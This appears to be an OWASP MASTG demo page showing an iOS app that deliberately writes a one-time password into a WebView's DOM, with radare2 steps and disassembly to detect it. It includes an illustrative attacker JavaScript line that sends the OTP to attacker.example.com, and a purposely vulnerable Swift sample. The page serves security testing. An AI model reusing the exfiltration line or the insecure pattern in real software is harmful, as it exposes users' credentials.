Skip to content

MASTG-DEMO-0146: Sensitive Data Written into WebView DOM via evaluateJavaScript

Download MASTG-DEMO-0146 IPA Open MASTG-DEMO-0146 Folder Build MASTG-DEMO-0146 IPA

Sample

This sample loads a WKWebView page with placeholder <div> elements and then injects a one-time-password directly into those elements using evaluateJavaScript with textContent assignments. Because the data is written into the DOM, any JavaScript running on the page can read it at any time:

// Attacker reads the injected OTP from the DOM
const otp = document.getElementById('otp-display').textContent;
fetch("https://attacker.example.com/?otp=" + otp);
MastgTest.swift
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
import UIKit
import WebKit

// SUMMARY: This sample demonstrates sensitive data being written into the WebView DOM
// via evaluateJavaScript. The app loads a page with placeholder elements and then
// injects a one-time-password directly into those elements using textContent assignments.
// Any JavaScript running on the page can read those values from the DOM at any time
// after injection.

class MastgTest: NSObject {
    private var webView: WKWebView?
    private static var currentTest: MastgTest?
    private static let secretOtp = "482910"

    @inline(never) @_optimize(none)
    public static func mastgTest(completion: @escaping (String) -> Void) {
        DispatchQueue.main.async {
            let test = MastgTest()
            currentTest = test
            test.showWebView(completion: completion)
        }
    }

    private func showWebView(completion: @escaping (String) -> Void) {
        let config = WKWebViewConfiguration()
        let webView = WKWebView(frame: UIScreen.main.bounds, configuration: config)
        webView.autoresizingMask = [.flexibleWidth, .flexibleHeight]
        self.webView = webView

        let html = """
        <html>
        <head>
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <style>
                body { font-family: -apple-system, sans-serif; text-align: center; padding-top: 50px; }
                div { font-size: 24px; font-weight: bold; color: #007AFF; margin-top: 20px; }
            </style>
        </head>
        <body>
            <p>Your one time password:</p>
            <div id="otp-display"></div>
        </body>
        </html>
        """

        webView.loadHTMLString(html, baseURL: nil)

        let vc = UIViewController()
        vc.view.backgroundColor = .white
        vc.view.addSubview(webView)

        guard let presenter = topViewController() else {
            completion("Failed to present: no view controller.")
            return
        }

        presenter.present(vc, animated: true) {
            DispatchQueue.main.asyncAfter(deadline: .now() + 0.5) {
                // FAIL: [MASTG-TEST-0380] The OTP is written into the DOM via textContent.
                // Any page script can read it: document.getElementById('otp-display').textContent
                webView.evaluateJavaScript(
                    "document.getElementById('otp-display').textContent = '\(MastgTest.secretOtp)'",
                    completionHandler: nil
                )

                /*
                // PASS: Instead of injecting sensitive data into the DOM, we
                // render a native view over it.
                // The sensitive data remains in the native layer and never enters the DOM.
                let frame = CGRect(
                    x: 0,
                    y: 0,
                    width: 200,
                    height: 44
                )
                let otpLabel = UILabel(frame: frame)
                otpLabel.text = MastgTest.secretOtp
                otpLabel.textAlignment = .center
                otpLabel.textColor = .systemGreen
                otpLabel.font = .boldSystemFont(ofSize: 28)
                otpLabel.center = vc.view.center
                vc.view.addSubview(otpLabel)
                vc.view.bringSubviewToFront(otpLabel)
                */

                completion("Sensitive data injected into DOM.")
            }
        }
    }

    private func topViewController(base: UIViewController? = nil) -> UIViewController? {
        let root = base ?? UIApplication.shared.connectedScenes
            .compactMap { $0 as? UIWindowScene }
            .flatMap { $0.windows }
            .first { $0.isKeyWindow }?.rootViewController

        if let nav = root as? UINavigationController {
            return topViewController(base: nav.visibleViewController)
        }
        if let tab = root as? UITabBarController {
            return topViewController(base: tab.selectedViewController)
        }
        if let presented = root?.presentedViewController {
            return topViewController(base: presented)
        }
        return root
    }
}

Steps

  1. Use Exploring the App Package to extract the app. The main binary is ./Payload/MASTestApp.app/MASTestApp.
  2. Use radare2 (iOS) with the -i option to run this script.
webview_sensitive_data_exposure.r2
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
e asm.bytes=false
e scr.color=false
e scr.interactive=false
e asm.var=false

?e List all uses of the 'evaluateJavaScript:completionHandler:' selector:
f~evaluateJavaScript

?e

?e xrefs to 'evaluateJavaScript:completionHandler:':
axt @ reloc.fixup.evaluateJavaScript:completionHa

?e

?e Code snippet showing the construction of the JavaScript string and the call to evaluateJavaScript:
pd 35 @ 0x100004910
run.sh
1
2
#!/bin/bash
r2 -q -e bin.relocs.apply=true -i webview_sensitive_data_exposure.r2 -A MASTestApp > output.txt

Observation

The script identifies the call site where evaluateJavaScript:completionHandler: is used. In the disassembly we can see the construction of the JavaScript string that writes sensitive OTP token into the DOM.

output.txt
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
List all uses of the 'evaluateJavaScript:completionHandler:' selector:
0x10000b868 38 str.evaluateJavaScript:completionHandler:
0x100014198 8 reloc.fixup.evaluateJavaScript:completionHa

xrefs to 'evaluateJavaScript:completionHandler:':
sym.MASTestApp.MastgTest.showWebView.allocator__1 0x100004978 [DATA:r--] ldr x1, reloc.fixup.evaluateJavaScript:completionHa

Code snippet showing the construction of the JavaScript string and the call to evaluateJavaScript:
           0x100004910      adrp x8, 0x10000b000
           0x100004914      add x8, x8, 0x570                         ; 0x10000b570 ; "document.getElementById('otp-display').textContent = '"
           0x100004918      sub x8, x8, 0x20
           0x10000491c      mov x9, 0x21                              ; '!'
           0x100004920      movk x9, 0xd000, lsl 48
           0x100004924      add x0, x9, 0x15
           0x100004928      orr x1, x8, 0x8000000000000000
           0x10000492c      mov x20, sp
           0x100004930      bl sym.imp.append_...ySSF_                ; append(...ySSF)
           0x100004934      mov x0, 0x3834                            ; '48'
           0x100004938      movk x0, 0x3932, lsl 16                   ; '29'
           0x10000493c      movk x0, 0x3031, lsl 32                   ; '10'
           0x100004940      mov x20, sp
           0x100004944      mov x1, -0x1a00000000000000
           0x100004948      bl sym.imp.append_...ySSF_                ; append(...ySSF)
           0x10000494c      mov x20, sp
           0x100004950      mov w0, 0x27                              ; '\''
           0x100004954      mov x1, -0x1f00000000000000
           0x100004958      bl sym.imp.append_...ySSF_                ; append(...ySSF)
           0x10000495c      ldp x0, x20, [sp]
           0x100004960      mov x1, x20
           0x100004964      bl sym.imp.Foundationbool_...ridgeToObjectiveCSo8NSStringCyF_ ; Foundationbool(...ridgeToObjectiveCSo8NSStringCyF)
           0x100004968      mov x23, x0
           0x10000496c      mov x0, x20                               ; void *arg0
           0x100004970      bl sym.imp.swift_bridgeObjectRelease      ; void swift_bridgeObjectRelease(void *arg0)
           0x100004974      adrp x8, sym.__METACLASS_DATA__TtC10MASTestApp9MastgTest ; 0x100014000
           0x100004978      ldr x1, [x8, 0x198]                       ; [0x10000b868:4]=0x6c617665 ; "evaluateJavaScript:completionHandler:" ; char *selector
           0x10000497c      mov x0, x22                               ; void *instance
           0x100004980      mov x2, x23
           0x100004984      mov x3, 0
           0x100004988      bl sym.imp.objc_msgSend                   ; void *objc_msgSend(void *instance, char *selector)
           0x10000498c      mov x0, x23                               ; void *instance
           0x100004990      bl sym.imp.objc_release                   ; void objc_release(void *instance)
           0x100004994      adrp x8, 0x10000b000
           0x100004998      add x8, x8, 0x5b0                         ; 0x10000b5b0 ; "Sensitive data injected into DOM."

Evaluation

The test case fails because the app writes sensitive data into DOM elements using evaluateJavaScript:completionHandler:.

  1. Addresses 0x1000049100x100004958: construct the JavaScript string by appending three parts: the string literal "document.getElementById('otp-display').textContent = '" (from 0x10000b570), the OTP value, and a closing '.
  2. Address 0x100004988: dispatches the fully constructed script via objc_msgSend with the evaluateJavaScript:completionHandler: selector, causing the OTP to be written into #otp-display.

The value is written into the DOM and can be read by any script running on the page. In a real app, this value would come from native data sources (for example, an authentication server or a backend API) and would be interpolated into the JavaScript string before evaluation, making it equally readable by page JavaScript once injected.